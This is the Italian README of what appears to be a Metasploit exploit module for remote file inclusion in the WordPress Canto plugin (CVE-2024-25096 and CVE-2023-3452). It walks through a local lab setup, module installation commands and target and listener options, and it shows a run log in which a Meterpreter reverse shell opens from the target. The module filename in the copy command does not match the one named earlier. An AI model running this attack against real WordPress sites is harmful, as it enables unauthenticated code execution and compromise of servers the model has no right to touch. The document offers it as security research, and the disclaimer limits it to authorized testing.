Modulo exploit Metersploit canto RCE CVE-2024-25096 e CVE-2023-3452

Questo exploit è un proof-of-work delle vulnerabilità RFI CVE-2024-25096 e CVE-2023-3452, che consentono all'attaccante di stabilire una sessione interattiva di shell remota sul target.

CVE-2024-25096 abusa del parametro abspath, che consente l'inclusione remota di file tramite l'istruzione include_once. CVE-2023-3452 ha la stessa procedura, tranne che il parametro “wp_abspath” allpws l'inclusione remota di file tramite l'istruzione requiere_once. Ciò consente all'attaccante di eseguire codice non autenticato sul server target.

Sebbene i database delle vulnerabilità elenchino CVE-2023-3452 come affetto fino alla versione 3.0.4, i test hanno confermato che la vulnerabilità rimane sfruttabile fino alla versione 3.0.6. Il problema è stato risolto nella versione 3.0.7, la stessa versione che corregge CVE-2024-25096.

Requisiti

Per considerare il target vulnerabile sono necessarie le seguenti condizioni:

plugin canto installato <= 3.0.6
allow_url_include=On

Utilizzo

Configurazione del target di test

Clona questo repository e scarica il plugin canto

Download Canto 3.0.4

Download Canto 3.0.5

Download Canto 3.0.6

Nota: se desideri scaricare una versione precedente di Canto, copia semplicemente il link e modifica il numero di versione nel link con la versione desiderata.

Avvia il container (docker-compose.yaml) con il comando podman-compose up. Apri http://localhost:8889/wp-admin/install.php in un browser a tua scelta e configura un account wordpress. Screenshot

Dopo aver effettuato l'accesso, puoi selezionare e installare il file zip di canto nella scheda Plugins -> Add new plugins -> Plugin Upload.

Screenshot

Configurazione dell'exploit

Aggiungi l'exploit (rce_exploit_cve_2024_25096.rb) alla cartella dei moduli di metasploit. Avvia Metasploit (msfconsole) e ricarica Metasploit (reload_all). Seleziona il payload.

cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0

imposta i valori delle variabili richieste

Module options (exploit/rce_exploit_cve_2024_25096):

   Name        Current Setting            Required  Description
   ----        ---------------            --------  -----------
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS      127.0.0.1                  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       8889                       yes       Port
   SRVHOST     0.0.0.0                    yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT     8080                       yes       The local port to listen on.
   SSL         false                      yes       Use SSL
   SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
   TARGETFILE  get.php                    yes       Vulnerable PHP file
   TARGETURI   /wp-content/plugins/canto  yes       Path to cantos root directory
   URIPATH                                no        The URI to use for this exploit (default is random)
   VHOST                                  no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.178.58   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress Plugin <= 3.0.6



View the full module info with the info, or info -d command

Esegui l'exploit e spera per il meglio ;)

[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444 
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.

(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >

Disclaimer

Questo progetto è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza.

L'autore non incoraggia né giustifica attività illegali. Qualsiasi uso di questo codice per attaccare sistemi senza autorizzazione è severamente vietato.

L'autore non è responsabile per eventuali usi impropri o danni causati da questo software. Gli utenti sono responsabili di garantire il rispetto di tutte le leggi e normative applicabili.

Utilizza questo codice solo in ambienti dove hai esplicita autorizzazione, come ambienti di laboratorio, test di penetrazione o ricerca sulla sicurezza.

Metasploit-Wordpress-Canto-Exploit-RCE

Più Popolari